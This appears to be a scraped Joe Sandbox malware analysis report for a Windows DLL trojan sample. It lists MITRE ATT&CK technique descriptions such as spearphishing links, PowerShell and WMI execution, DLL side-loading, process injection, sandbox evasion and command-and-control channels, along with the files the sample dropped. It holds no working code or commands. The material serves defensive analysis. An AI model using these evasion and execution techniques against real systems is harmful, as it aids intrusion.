Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Module: Module Load, Network Traffic: Network Connection Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0tosojsc.gtg.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0xgru0g4.lv3.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1h2qoia5.q1w.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b32031hx.suo.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_davfm4ih.00x.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hc2hfju5.gqq.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hh5i25cn.mnw.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hw4z4mtr.0uy.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ihebfnsc.bvv.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ikmmtyig.msm.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ley3p4c0.sor.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m30w3ywt.jkx.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pi3lhmbw.uqc.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pllciex1.xkx.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rlfkq24a.210.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rndxho55.0dw.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rsfqvcrb.h3f.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_stafdvij.0bm.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t5hpduxv.slf.ps1

Windows Analysis Report
SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre